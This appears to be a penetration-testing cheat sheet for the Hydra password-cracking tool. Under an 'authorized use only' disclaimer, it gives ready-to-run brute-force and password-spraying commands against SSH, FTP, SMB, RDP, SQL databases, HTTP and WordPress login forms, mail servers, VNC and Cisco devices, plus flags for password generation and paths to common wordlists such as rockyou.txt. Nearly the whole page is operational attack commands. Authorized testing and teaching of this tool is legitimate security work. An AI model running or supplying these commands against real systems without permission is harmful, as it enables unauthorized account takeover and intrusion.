HYDRA
Authorized use only. Offensive reference for systems you own or are explicitly permitted to test. You are responsible for staying within the law.
Interactive tool: Hashcat / John Rule & Mask Builder
BASIC SYNTAX#
hydra -l <user> -p <pass> <target> <service> hydra -L <userlist> -P <passlist> <target> <service>
OPTIONS#
-l <login> Single username -L <file> Username list file -p <pass> Single password -P <file> Password list file -C <file> Colon-separated "login:pass" file -M <file> List of targets -t <tasks> Number of parallel connections (default 16) -w <time> Max wait time for response (default 32s) -W <time> Wait time between connections -f Exit after first found login -F Exit after first found login per host -v / -V Verbose / Very verbose -d Debug mode -o <file> Output to file -s <port> Custom port -S Use SSL -e nsr Try null password, login as pass, reversed login -u Loop around users, not passwords -x <min:max:charset> Password generation
SSH#
hydra -l root -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1 hydra -L users.txt -P passwords.txt 192.168.1.1 ssh -t 4 hydra -l admin -P passwords.txt -s 2222 192.168.1.1 ssh
FTP#
hydra -l admin -P passwords.txt ftp://192.168.1.1 hydra -L users.txt -P passwords.txt 192.168.1.1 ftp hydra -l anonymous -P passwords.txt 192.168.1.1 ftp -e nsr
TELNET#
hydra -l admin -P passwords.txt telnet://192.168.1.1 hydra -L users.txt -P passwords.txt 192.168.1.1 telnet
SMB#
hydra -l admin -P passwords.txt smb://192.168.1.1 hydra -L users.txt -P passwords.txt 192.168.1.1 smb
RDP#
hydra -l admin -P passwords.txt rdp://192.168.1.1 hydra -L users.txt -P passwords.txt 192.168.1.1 rdp -t 1
MYSQL#
hydra -l root -P passwords.txt mysql://192.168.1.1 hydra -L users.txt -P passwords.txt 192.168.1.1 mysql
MSSQL#
hydra -l sa -P passwords.txt mssql://192.168.1.1 hydra -L users.txt -P passwords.txt 192.168.1.1 mssql
POSTGRESQL#
hydra -l postgres -P passwords.txt postgres://192.168.1.1 hydra -L users.txt -P passwords.txt 192.168.1.1 postgres
HTTP BASIC AUTH#
hydra -l admin -P passwords.txt http-get://192.168.1.1/admin hydra -L users.txt -P passwords.txt 192.168.1.1 http-get /admin
HTTP POST FORM#
hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid" # Syntax: "page:parameters:failure_string" # ^USER^ = username placeholder # ^PASS^ = password placeholder # F=failure_string or S=success_string # With cookies hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid:H=Cookie: security=low" # HTTPS hydra -l admin -P passwords.txt 192.168.1.1 https-post-form "/login.php:user=^USER^&pass=^PASS^:Invalid"
HTTP GET FORM#
hydra -l admin -P passwords.txt 192.168.1.1 http-get-form "/login.php?user=^USER^&pass=^PASS^:Invalid"
WORDPRESS#
hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In:Invalid"
POP3#
hydra -l user@domain.com -P passwords.txt pop3://mail.domain.com hydra -L emails.txt -P passwords.txt 192.168.1.1 pop3
IMAP#
hydra -l user@domain.com -P passwords.txt imap://mail.domain.com hydra -L emails.txt -P passwords.txt 192.168.1.1 imap
SMTP#
hydra -l user@domain.com -P passwords.txt smtp://mail.domain.com hydra -L emails.txt -P passwords.txt 192.168.1.1 smtp
LDAP#
hydra -l admin -P passwords.txt ldap://192.168.1.1 hydra -L users.txt -P passwords.txt 192.168.1.1 ldap2
VNC#
hydra -P passwords.txt vnc://192.168.1.1 hydra -P passwords.txt 192.168.1.1 vnc -s 5901
SNMP#
hydra -P /usr/share/wordlists/rockyou.txt 192.168.1.1 snmp
CISCO#
hydra -P passwords.txt cisco://192.168.1.1 hydra -P passwords.txt 192.168.1.1 cisco-enable
REXEC / RLOGIN / RSH#
hydra -l root -P passwords.txt 192.168.1.1 rexec hydra -l root -P passwords.txt 192.168.1.1 rlogin hydra -l root -P passwords.txt 192.168.1.1 rsh
PASSWORD GENERATION#
# Generate passwords with charset hydra -l admin -x 4:6:aA1 192.168.1.1 ssh # 4:6 = min:max length # a = lowercase letters # A = uppercase letters # 1 = numbers # Other: ! (symbols) # Combined hydra -l admin -x 6:8:aA1! 192.168.1.1 ssh
WORDLISTS#
/usr/share/wordlists/rockyou.txt /usr/share/wordlists/dirb/common.txt /usr/share/seclists/Passwords/Common-Credentials/10-million-password-list-top-1000000.txt /usr/share/seclists/Usernames/top-usernames-shortlist.txt
TIPS#
# Reduce threads for unstable services hydra -t 4 ... # Try common password variations hydra -e nsr ... # n = null password # s = login as password # r = reversed login as password # Resume session hydra -R # Output found credentials hydra -o results.txt ... # Multiple targets hydra -M targets.txt ... # Specific port hydra -s 8080 ...
SUPPORTED PROTOCOLS#
adam6500, asterisk, afp, cisco, cisco-enable, cvs, firebird,
ftp, ftps, http-{head|get|post}, http-{get|post}-form,
http-proxy, http-proxy-urlenum, icq, imap, imaps, irc, ldap2,
ldap3, ldap3-crammd5, ldap3-digestmd5, memcached, mongodb,
mssql, mysql, ncp, nntp, oracle-listener, oracle-sid, pcanywhere,
pcnfs, pop3, pop3s, postgres, radmin2, rdp, redis, rexec, rlogin,
rpcap, rsh, rtsp, s7-300, sip, smb, smtp, smtps, smtp-enum,
snmp, socks5, ssh, sshkey, svn, teamspeak, telnet, telnets,
vmauthd, vnc, xmpp